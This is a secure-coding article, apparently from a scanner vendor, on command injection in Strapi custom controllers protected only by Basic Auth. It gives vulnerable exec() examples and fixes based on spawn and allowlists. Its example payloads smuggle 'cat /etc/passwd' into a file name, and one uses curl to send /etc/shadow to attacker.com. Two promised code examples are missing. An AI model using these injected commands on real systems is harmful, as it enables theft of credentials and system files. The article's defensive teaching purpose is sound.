Command Injection in Strapi with Basic Auth
Command Injection in Strapi with Basic Auth — how this specific combination creates or exposes the vulnerability
Command Injection occurs when untrusted input is passed to a system shell or internal command interpreter without proper sanitization. In Strapi, this risk is amplified when Basic Authentication is used as the sole perimeter because the authentication layer can give a false sense of security while an underlying endpoint remains susceptible to injection. Strapi admin panels, custom controllers, and plugin extensions sometimes construct shell commands using concatenation or templating, for example to invoke utilities for image conversion, file parsing, or external service interaction.
Consider a Strapi custom controller that receives a filename via a query parameter and runs an external utility to extract metadata:
const { exec } = require('child_process');
module.exports = {\n async getMetadata(ctx) {
const filename = ctx.query.file;
exec(`exiftool "${filename}"`, (error, stdout, stderr) => {
if (error) ctx.body = { error: error.message };
else ctx.body = { stdout };
});
}
};
If Basic Auth is enabled but no input validation exists, an authenticated attacker can supply a payload such as report.pdf; cat /etc/passwd or report.pdf && id. The shell will execute the injected commands, potentially exposing credentials or system information. The presence of Basic Auth does not mitigate command injection; it only narrows the attacker pool to those who can provide valid credentials. In a black-box scan, middleBrick tests unauthenticated attack surfaces where endpoints are exposed; when authentication is required, it can probe with valid Basic Auth credentials to verify whether injection is possible.
Another common pattern involves building dynamic arguments for external inventory or migration scripts. For instance, concatenating user input into a database dump command:
const { exec } = require('child_process');
module.exports = {
async backup(ctx) {
const dbName = ctx.request.body.name;
exec(`pg_dump ${dbName} > /backups/${dbName}.sql`, (error) => {
ctx.body = error ? { error: 'Backup failed' } : { ok: true };
});
}
};
An authenticated user can provide mydb && curl attacker.com/steal?data=$(cat /etc/shadow). The command executes with the privileges of the Strapi process, and Basic Auth does not sanitize or parameterize the input. Because Strapi supports OpenAPI/Swagger definitions, middleBrick cross-references spec definitions with runtime findings to identify mismatches between declared authentication and actual injection surfaces, ensuring that endpoints requiring credentials are still inspected for injection flaws.
LLM/AI Security checks in middleBrick are not designed to detect command injection directly, but they verify that endpoints exposing sensitive functionality do not leak system prompts or enable unauthorized tool usage. The primary defense is to avoid shell command construction with untrusted input and to validate and sanitize all parameters, regardless of authentication method.
Basic Auth-Specific Remediation in Strapi — concrete code fixes
Remediation focuses on removing shell command construction, using safe APIs, and hardening Basic Auth usage. Strapi recommends using built-in services and ORM methods rather than spawning external processes. When external commands are unavoidable, use parameterized approaches or strict allowlists.
1) Replace child process execution with native Node.js or Strapi services. For metadata extraction, prefer a dedicated library that does not invoke a shell:
// Safe alternative using a library such as 'file-type' or 'exiftool-js'
const fileType = require('file-type');
module.exports = {
async getMetadata(ctx) {
const fileBuffer = await ctx.request.file().buffer;
const result = await fileType.fromBuffer(fileBuffer);
ctx.body = result ? { ext: result.ext, mime: result.mime } : { error: 'Unknown file type' };
}
};
2) If external commands are required, avoid string interpolation and use spawn with argument arrays:
const { spawn } = require('child_process');
module.exports = {
async getMetadata(ctx) {
const filename = ctx.query.file;
// Validate filename against an allowlist of safe characters and extensions
if (!/^[-\w.]+\.(txt|csv|json)$/.test(filename)) {
return ctx.badRequest('Invalid file name');
}
const exiftool = spawn('exiftool', [filename]);
let stdout = '';
exiftool.stdout.on('data', (data) => stdout += data);
exiftool.on('close', (code) => {
if (code !== 0) ctx.body = { error: 'Processing failed' };
else ctx.body = { stdout };
});
}
};
3) Secure Basic Auth by ensuring it is not the only control and by using strong password policies. In Strapi, configure the admin auth provider with hashed credentials and enforce HTTPS. Example of a safe admin user definition in ./config/admin.js:
4) In custom controllers, always validate and sanitize inputs. Use an allowlist for database names and avoid concatenation:
By avoiding shell injection patterns and tightening Basic Auth configurations, Strapi deployments reduce the risk of command injection while maintaining necessary functionality. middleBrick scans such endpoints to verify that authenticated surfaces do not expose unsafe patterns and to ensure that remediation guidance aligns with secure coding practices.
Related CWEs: inputValidation
| CWE ID | Name | Severity |
|---|---|---|
| CWE-20 | Improper Input Validation | HIGH |
| CWE-22 | Path Traversal | HIGH |
| CWE-74 | Injection | CRITICAL |
| CWE-77 | Command Injection | CRITICAL |
| CWE-78 | OS Command Injection | CRITICAL |
| CWE-79 | Cross-site Scripting (XSS) | HIGH |
| CWE-89 | SQL Injection | CRITICAL |
| CWE-90 | LDAP Injection | HIGH |
| CWE-91 | XML Injection | HIGH |
| CWE-94 | Code Injection | CRITICAL |